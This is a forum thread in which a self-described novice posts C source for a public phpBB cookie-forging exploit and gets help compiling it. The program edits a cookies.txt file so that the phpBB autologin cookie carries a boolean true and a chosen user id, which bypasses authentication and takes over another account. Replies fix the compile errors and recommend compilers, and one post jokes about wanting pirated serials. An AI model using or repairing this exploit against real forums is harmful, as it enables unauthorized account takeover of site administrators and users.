C compiling problems.

Ok, I pretty much don't know anything about programming, but I am trying to compile this phpbb exploit to test out my servers. This is the code, it is public knowledge.

Below the code is the error message I get.
================================================== ==
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv[]) {
FILE *pointer;
char contenido[10000],

cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0
%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",
cookief[9]="%22%3B%7D", cookiec[106],

cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb
%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7 D",
*pos;
int p=0, i=0;

if (argc!=2) {
printf("Usage: phpbb_exploit.exe user_id\n\n");
exit(0);
}
pointer=fopen("cookies.txt", "r");

if (pointer) {
fread(contenido, 300, 10, pointer);
fclose(pointer);
} else {
printf("The file can't be open\n");
exit(0);
}

strcpy(cookiec, cookie);
strncat(cookiec, argv[1], 6);
strcat(cookiec, cookief);

if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the
exploit or the user id is incorrect\n");
exit(0);
}

if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}

And this is the error I get when I try to compile

Any help with what's going on would be greatly appreciated.

Edit: I'm using windows xp pro, and Miracle C workbench,which I found at www.download.com

In C, when a string goes over multiple lines, you have to show that it is continuing. I believe you do this by putting a \ character at the end of each line. If that doesn't work, then you could just move it all onto the one line (the part in between the quotes).

Also, when you're posting code, you should use the code tags ([ code] and [ /code] without the spaces).

Ok, now the only error I'm getting is this.

C:\Documents and Settings\root\Desktop\exploit.c: line 7: too many locals declared
'char contenido[10000], cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0 %3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22", cookief[9]="%22%3B%7D", cookiec[106], cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb %3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", *pos'
aborting compile

What to do about that?

Try splitting them up into their own statements instead of declaring them all at once. Your compiler might have a limitation of what it can do at once.

ie

Code:

---

char contenido[10000];
char cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0 %3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22";
char cookief[9]="%22%3B%7D";
char cookiec[106];
char cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb %3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"
char *pos;

---

If nothing else, this will narrow down the error.

Ok we're getting somewhere, now this is what I get.

C:\Documents and Settings\root\Desktop\exploit.c: line 7: too many locals declared
'char contenido[10000]'
aborting compile

What compiler are you using? Not all compileres are built the same. Looks like the array is too big. It has to allocate 10000 char storage units on the stack for that to work. I'm betting there is some built-in or configurable option that limit the size.

I'm using Miracle C workbench,which I found at www.download.com

Maybe someone could recomend a better one (that's free...or has serials available >:-) )

I'd prefer one with a gui frontend, but I can work with command line, with a little help.

Only one I compile stuff with is gnu gcc, which is free, but I use the linux version and its command line based. I know there is supposed to be a windows version out so you might look into that.

If you download Dev-C++ from www.bloodshed.net it comes with a windows port of gcc (mingw32). Dev-C++ is itself an IDE (Integrated Development Environment) i.e. a GUI frontend like you were asking for.

I also recomend Dev-C++ (mingw) it has served me well. As you learn more about C/C++ you can begin to use the advanced features of Dev-C++ and perhaps setup your own custom mingw enviroment.
